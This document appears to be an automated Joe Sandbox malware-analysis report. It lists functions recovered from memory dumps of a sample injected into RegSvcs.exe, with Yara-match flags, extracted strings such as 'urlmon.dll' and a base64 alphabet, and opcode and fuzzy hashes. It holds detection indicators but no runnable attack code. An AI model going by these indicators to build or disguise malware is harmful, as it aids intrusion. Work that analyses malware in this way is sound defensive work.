                                                          Function 0150B4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0154728C
                                                          Strings
                                                          • RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 01547294
                                                          • RTL: Resource at %p, xrefs: 015472A3
                                                          • RTL: Re-Waiting, xrefs: 015472C1
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                                          • String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                          • API String ID: 885266447-605551621
                                                          • Opcode ID: 246a0a955c6d90cf63a9b25c473ee9878eea87059dffc343666feb6d56c701e5
                                                          • Instruction ID: a63b01235db0345fa8c167f9d94fc83f02739ebc9e86db1ee72517f8d1716b09
                                                          • Opcode Fuzzy Hash: 246a0a955c6d90cf63a9b25c473ee9878eea87059dffc343666feb6d56c701e5
                                                          • Instruction Fuzzy Hash: 0541D035704203ABD721DE69CC81F6AB7A6FB98714F100A1AF955AF280DB71F94287E1
                                                          Function 01582300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID: ___swprintf_l
                                                          • String ID: %%%u$]:%u
                                                          • API String ID: 48624451-3050659472
                                                          • Opcode ID: db90db450ae29bc39fec1cc08a9a7e794e85230b118731486fa0049416ca49d2
                                                          • Instruction ID: 107506d1d61f036fb0fe57c0eb4cf3202bdf8afb1c4346a8631a2d7d116a8fd5
                                                          • Opcode Fuzzy Hash: db90db450ae29bc39fec1cc08a9a7e794e85230b118731486fa0049416ca49d2
                                                          • Instruction Fuzzy Hash: C6315476A002199FDB20DE2DCC50BEEBBF8FF54650F94455AE949E7240EF309A44CBA0
                                                          Function 01517D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID: __aulldvrm
                                                          • String ID: +$-
                                                          • API String ID: 1302938615-2137968064
                                                          • Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                          • Instruction ID: c4743d285e126930926dd09acfa3ca83470034b349d5f8689e92f456643c011d
                                                          • Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                          • Instruction Fuzzy Hash: 22919471E0020A9EFB26DF6DC8806BFBBE5BF48320F54461AE965EF2C8D73499408751
                                                          Function 014D9126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: $$@
                                                          • API String ID: 0-1194432280
                                                          • Opcode ID: 563d975ca398593017bffa70d123415f38ac73c782ba5bf847ce9d60c81d691c
                                                          • Instruction ID: 9aeca95fc6eea966c6af3190808e44f1d80aa36803d58e5230bb297310d15e39
                                                          • Opcode Fuzzy Hash: 563d975ca398593017bffa70d123415f38ac73c782ba5bf847ce9d60c81d691c
                                                          • Instruction Fuzzy Hash: 59811871D006699BDB31CF54CC54BEEBBB4AF58714F0441EAAA19BB290D7709E848FA0

                                                          Executed Functions

                                                          Function 033039A2 Relevance: .1, Instructions: 111COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 8d6649d910f6b146bd2a57a03513005a70f525b9244becf70dc123f5bbffac07
                                                          • Instruction ID: 95ff5e9026b0869ce8d07f90e6c05c0c603b7a1c9656819b03bfbc23704c4e81
                                                          • Opcode Fuzzy Hash: 8d6649d910f6b146bd2a57a03513005a70f525b9244becf70dc123f5bbffac07
                                                          • Instruction Fuzzy Hash: E83170116587E14ED31E836D08B9679AEC18E5720174EC2EEDADA6F2F3C4888419D3A5
                                                          Function 03302ED4 Relevance: 55.5, Strings: 44, Instructions: 488COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: #$$$,v$0$0$1$2$3$40$5$85'$9v$:]DD0?$?$?$@($DD0?$I$I}$M$Q$S$W$Y$]$]$_$`$a$d$f$f=$hc&$kJ$p$s$x$x$y$yI$}$~$'$~
                                                          • API String ID: 0-25918528
                                                          • Opcode ID: 89193528d37a1e9dd6f0316cb05c623a625c638bd0ca0eab0c89a1f40078c24d
                                                          • Instruction ID: f7817a31cb37167a5a23030c85662861d4c79523e813182f4d58be97f0a8dc51
                                                          • Opcode Fuzzy Hash: 89193528d37a1e9dd6f0316cb05c623a625c638bd0ca0eab0c89a1f40078c24d
                                                          • Instruction Fuzzy Hash: 52529DB4D06269CBEB25CF45CCA8BEDBBB5BB44318F1081D9D40D6B281C7B95A89CF50
                                                          Function 0331081D Relevance: 6.4, Strings: 5, Instructions: 150COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: 6$O$S$\$s
                                                          • API String ID: 0-3854637164
                                                          • Opcode ID: 7ab5587e87791ca14f6876523649e8d8bce6ad0ce03839c6d4b23dff1ada48b6
                                                          • Instruction ID: f0c10bd31e45de96c9a75987f6587a9279562b18e755059178cd1d3f2d56f3e3
                                                          • Opcode Fuzzy Hash: 7ab5587e87791ca14f6876523649e8d8bce6ad0ce03839c6d4b23dff1ada48b6
                                                          • Instruction Fuzzy Hash: F941B6B2D00219BBDB18EB94ED84FEFB3BCEB44314F044595E9089B140E771AA548BD1
                                                          Function 0331E374 Relevance: 1.3, Strings: 1, Instructions: 60COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: '
                                                          • API String ID: 0-2503692993
                                                          • Opcode ID: 3bf7b843cbd14f9191c4bd9e0c34845b37bd7b4faaa44ec7b44140615c78ee3b
                                                          • Instruction ID: f9e99c119471d64bd34e0754a9ae5ce4ba791cfadee9f1fab1c3e2d5f3d8fe54
                                                          • Opcode Fuzzy Hash: 3bf7b843cbd14f9191c4bd9e0c34845b37bd7b4faaa44ec7b44140615c78ee3b
                                                          • Instruction Fuzzy Hash: F711D0B6D1121CAF8B40DFE9DC409EEFBFDEF48210F14416AE919E7200E7755A448BA1
                                                          Function 032FCB46 Relevance: .1, Instructions: 135COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 221a2fd866365216f7cbebda2d39f5521273b621bc63051544e9770559ee0f10
                                                          • Instruction ID: 64bd2129f3e7879f8d6c7319fe6723f96f09fd3c1a5006946d16a0ee312f91f8
                                                          • Opcode Fuzzy Hash: 221a2fd866365216f7cbebda2d39f5521273b621bc63051544e9770559ee0f10
                                                          • Instruction Fuzzy Hash: 9A41F9B5D11229AFDB04CF99D881AEEBBBCFF49710F10415AFA14E6240E7B19640CBA0
                                                          Function 033203D4 Relevance: .1, Instructions: 82COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 3e43fbc2cb50672bca61ed74d36e64c6f37d2ea3f7643c661b697ceada7d96cb
                                                          • Instruction ID: bfef92d37fcd489b9501de84237e33c246b93a6ae3f59a0eb72ef6f76b6eefab
                                                          • Opcode Fuzzy Hash: 3e43fbc2cb50672bca61ed74d36e64c6f37d2ea3f7643c661b697ceada7d96cb
                                                          • Instruction Fuzzy Hash: 3B21F5B5A05248AFDB14DF98DC81EEFB7B9AF89704F108219F908A7240D774A911CBA5
                                                          Function 03310664 Relevance: .1, Instructions: 75COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: ec445e7c8fabf08d8901fccf8bda5777d1cb36562b165e30891e2aa466511050
                                                          • Instruction ID: 6ac4e21ce09d6da356e33330d7a8a0d1767eb9afb9c0505b47e2c25cd0865a6e
                                                          • Opcode Fuzzy Hash: ec445e7c8fabf08d8901fccf8bda5777d1cb36562b165e30891e2aa466511050
                                                          • Instruction Fuzzy Hash: C91170B67803157BF724EA558C82FAB7B6C9BC4B10F244015FF08AE2C1D6B4B91186B8
                                                          Function 03320CF4 Relevance: .1, Instructions: 74COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 0563a0a2c56ade8642e0b2b5f7a0e5e9d08691790a9f6982b43fdecb14ad1db3
                                                          • Instruction ID: eada2ed91429017fea108675e792b2be93fe5f4ce4ca55746b343888cd936be5
                                                          • Opcode Fuzzy Hash: 0563a0a2c56ade8642e0b2b5f7a0e5e9d08691790a9f6982b43fdecb14ad1db3
                                                          • Instruction Fuzzy Hash: C3211A75A01748AFDB14DF98DC81EAFB7B8EF89710F108609FD18A7240D770A911CBA1
                                                          Function 0331D144 Relevance: .1, Instructions: 62COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: c4e4524f65207c94ad376669a19546fefef1bb20a5d1f8a02c656743c3e76090
                                                          • Instruction ID: 280c02d812a91d1a8b2dc54df312acf84e21bd48ffa2dad58ed1f42d06026d13
                                                          • Opcode Fuzzy Hash: c4e4524f65207c94ad376669a19546fefef1bb20a5d1f8a02c656743c3e76090
                                                          • Instruction Fuzzy Hash: 27111CB6D0121DAF8B40DFA8D9409EFB7F9EF48210F14416AE919E7200E7745A14CBA1
                                                          Function 033201F4 Relevance: .1, Instructions: 62COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 3eaf1270a04e1fd7d34e636021ab8d79e71b2a42e10798773f737076bc0ca34e
                                                          • Instruction ID: 210c7abfce986ae14070593b080f1cb46f1b56e4cc706ef4e267551863324337
                                                          • Opcode Fuzzy Hash: 3eaf1270a04e1fd7d34e636021ab8d79e71b2a42e10798773f737076bc0ca34e
                                                          • Instruction Fuzzy Hash: 85117375A05354BBD710EB68DC85FAB7BBCDF85610F104609FE589B281D7B07910CBA1
                                                          Function 03320094 Relevance: .1, Instructions: 62COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 9bab5fc8ebfbaea2a678824d51d35c610f0e1e923dee109e5af5c42a2e973f5a
                                                          • Instruction ID: 81ea8c8c2530c750213af6d2bb961c3c44b3da0ac5714ec1d89a95bc235d8a1f
                                                          • Opcode Fuzzy Hash: 9bab5fc8ebfbaea2a678824d51d35c610f0e1e923dee109e5af5c42a2e973f5a
                                                          • Instruction Fuzzy Hash: D0115E75A01344BBD710EBA8DC85FABB7BCEF89610F104509FE489B280D7B07915CBA2
                                                          Function 03321054 Relevance: .0, Instructions: 47COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: fbdf76623c57dcbca3e2b7dbeaecd1ba6ebf692c250979ce1e792b429603bf11
                                                          • Instruction ID: 908f373d3f39e29d2622f5f1fb510aef81ea5d071b672b3225719e262ded1a98
                                                          • Opcode Fuzzy Hash: fbdf76623c57dcbca3e2b7dbeaecd1ba6ebf692c250979ce1e792b429603bf11
                                                          • Instruction Fuzzy Hash: 67018CB6214649BBCB44DE99DC80EEB77ADAF8C714F518218BA09A7240D630F8518BA4
                                                          Function 0331D0B4 Relevance: .0, Instructions: 46COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 98cc96c922252c866d781ef40a2a5ef00a8cc64b396914c43ac0cb6efeebda8b
                                                          • Instruction ID: 7edd1272b532270cd734083ece64ed88904b44ff8631fbc9b3c148cfe92bdc4e
                                                          • Opcode Fuzzy Hash: 98cc96c922252c866d781ef40a2a5ef00a8cc64b396914c43ac0cb6efeebda8b
                                                          • Instruction Fuzzy Hash: C501EDB6C1121DAFCB44DFE8D9419EEFBF9AB08200F1446AAE515F7200E7715A448FA0
                                                          Function 032FCC98 Relevance: .0, Instructions: 46COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: bf07d1da73dc08a9eaa9de2a5f81193bab46c7d0b902d784de4ba17aa03b4b6b
                                                          • Instruction ID: cddadac395a0f8a149a3363a3d58df5b288578ee152d0c8e8264ff18785ad4c3
                                                          • Opcode Fuzzy Hash: bf07d1da73dc08a9eaa9de2a5f81193bab46c7d0b902d784de4ba17aa03b4b6b
                                                          • Instruction Fuzzy Hash: 15F0247361422A6BD714CA6DEC85F9AFF9CEB84630F140136FA1C8F241E671E4A182E0
                                                          Function 033202E4 Relevance: .0, Instructions: 33COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 9e38740798095345b89304bd1cd0641064af8caf522150f5dc485faa4acba9d7
                                                          • Instruction ID: 14058106ee1320b081ed1b83d1a0c2acf49e855016f77e301d4afc3971b2cba8
                                                          • Opcode Fuzzy Hash: 9e38740798095345b89304bd1cd0641064af8caf522150f5dc485faa4acba9d7
                                                          • Instruction Fuzzy Hash: 69F01C76200649BFCB50DF99DC81EEB77ADEF89610F008019BA1897241DB70B9118BB0
                                                          Function 03320F74 Relevance: .0, Instructions: 29COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: feba57d70eb0d8949fecce02056536d74d81ad578c6bc331f687760a0e5e9600
                                                          • Instruction ID: 1b4e576f65328706310a71d7614ddee0f23b641807c7360650ecc697393c3b9b
                                                          • Opcode Fuzzy Hash: feba57d70eb0d8949fecce02056536d74d81ad578c6bc331f687760a0e5e9600
                                                          • Instruction Fuzzy Hash: 7FE06D752003447BD610EE58DC40FAB77ACEFC5710F004419F919A7241C770B9508BB5
                                                          Function 03310784 Relevance: .0, Instructions: 29COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 9aa5ea00827451bb388a7f6f2d0daadf3fd91d1fcae7833611f553b3848fad86
                                                          • Instruction ID: c0374fbd3fd21061e58244ba46bcadfeecc50d223dc20717b5fbcc671bbb9593
                                                          • Opcode Fuzzy Hash: 9aa5ea00827451bb388a7f6f2d0daadf3fd91d1fcae7833611f553b3848fad86
                                                          • Instruction Fuzzy Hash: 64F01275C15209EBDB18DF64D881BDDBBB8EB44320F1483A9F8259B280D63597948B81
                                                          Function 03320FC4 Relevance: .0, Instructions: 29COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 5ac67c8c97735da1dd0cbd312c6a7913a351ae52aae5574a4a7302b5b97522da
                                                          • Instruction ID: cc3dfc769f68c6271e880d0464ce3d0f7173097b3aa36a8e0c2aaed7f908396e
                                                          • Opcode Fuzzy Hash: 5ac67c8c97735da1dd0cbd312c6a7913a351ae52aae5574a4a7302b5b97522da
                                                          • Instruction Fuzzy Hash: ACE06576200348BBDA10EE59DC45FEB77ACEF8A710F004419FA48AB281C6B0B9508BB5
                                                          Function 03322C34 Relevance: .0, Instructions: 28COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: c10c8dad954cf4b24ba3d811bedc94a5d9b9338cbe29991c2d4e4635050f807d
                                                          • Instruction ID: 47ff9da381d7f68b8bdc91da9b86552c93abb4ed98a7bb7fa3a491a6182a9103
                                                          • Opcode Fuzzy Hash: c10c8dad954cf4b24ba3d811bedc94a5d9b9338cbe29991c2d4e4635050f807d
                                                          • Instruction Fuzzy Hash: DDE08636B4033437D62495899C85FABBB6CDBC1E61F090564FF0CDB340E675B94082E5
                                                          Function 03320C64 Relevance: .0, Instructions: 25COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: a2081207709746c7e352efcb175eb21aecfb5cd68ea452dc6470ae81de21367b
                                                          • Instruction ID: fef42b63dfd155d006323c001d47580acbb575c7950b775490d0b06049314364
                                                          • Opcode Fuzzy Hash: a2081207709746c7e352efcb175eb21aecfb5cd68ea452dc6470ae81de21367b
                                                          • Instruction Fuzzy Hash: 60E086392103547BC610FA59DC40FEBB76DEFC9710F004415FA096B141C770B90087B1
                                                          Function 03322B54 Relevance: .0, Instructions: 13COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 252254f0d794ba86561dfdce8290e291faf383fa5300396509ae13b8edeba771
                                                          • Instruction ID: 74bcb8e378d617893d6f1cffac2a03fb82224393d979709d5ff76f60f2b498c4
                                                          • Opcode Fuzzy Hash: 252254f0d794ba86561dfdce8290e291faf383fa5300396509ae13b8edeba771
                                                          • Instruction Fuzzy Hash: 97C080756403087FD704DB8CDC46F6D33DC9748510F004450BA0C8F381D570F9504755

                                                          Non-executed Functions

                                                          Function 0330C9EB Relevance: 53.9, Strings: 43, Instructions: 193COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: !"#$$%&'($)*+,$-./0$123@$456789+/$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@@@@@$@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>@@@?456789:;<=@@@@@@@$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
                                                          • API String ID: 0-4175356805
                                                          • Opcode ID: d1b3c2fd39a6467cded40b8ad4836313bdeaf96018894401cb7fd86228386488
                                                          • Instruction ID: 6b90a368590a49e61b2b49691d61ec59e1ae21d94c8325b730d25b55a2a8e475
                                                          • Opcode Fuzzy Hash: d1b3c2fd39a6467cded40b8ad4836313bdeaf96018894401cb7fd86228386488
                                                          • Instruction Fuzzy Hash: 14A110F19052998ECB11CF59A4603DEBF71AB96204F1581E9C6AA7B243C3BE4E45CF50
                                                          Function 0331A714 Relevance: 34.0, Strings: 27, Instructions: 261COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: $$$$%$)$)$.$5$>$B$E$F$F$H$J$Q$T$g$h$i$m$s$u$urlmon.dll$v$w$}$}
                                                          • API String ID: 0-1002149817
                                                          • Opcode ID: b7a07e70e3f7493d1651678fd3fd9233730127b895e9254055253fc6b365edf7
                                                          • Instruction ID: 3b2543479222956dd0e2970191c7978f78a6d4315e7f1f4049bf6ef974c91ef5
                                                          • Opcode Fuzzy Hash: b7a07e70e3f7493d1651678fd3fd9233730127b895e9254055253fc6b365edf7
                                                          • Instruction Fuzzy Hash: B2C11DB5D00368AEDF65DFA4CD84BDEBBB8AF45304F008199E54CAB241E7B54A88CF51
                                                          Function 03317B8D Relevance: 25.2, Strings: 20, Instructions: 249COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: $2$I$I$\$e$g$i$l$l$m$o$r$r$r$r$t$t$t$x
                                                          • API String ID: 0-3236418099
                                                          • Opcode ID: 1f5bde940c6a872db9dc3f88ebf9aae44d21c954f42b8cee864ef1da1b9ffc2a
                                                          • Instruction ID: 14871ced062fa6f7277b5e62bccf68abda639a302019031d93babebd985b4e30
                                                          • Opcode Fuzzy Hash: 1f5bde940c6a872db9dc3f88ebf9aae44d21c954f42b8cee864ef1da1b9ffc2a
                                                          • Instruction Fuzzy Hash: 699151B5D00328AADB64DF94CC81FEEB7BDAF44704F0445A9E608AA140EB755B88CF61
                                                          Function 03313594 Relevance: 16.4, Strings: 13, Instructions: 189COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_15_2_30e0000_hbfEEdNoiUG.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: $.$F$P$e$i$l$m$o$o$r$s$x
                                                          • API String ID: 0-392141074
                                                          • Opcode ID: 8797746a7be46566aa9af3429aad0623f983008ac42a2b0d823f92890ddd9cde
                                                          • Instruction ID: 2f730d5a84af0519324e8a674b2bd9cdf8c6c09d912290bc127797f321085a96
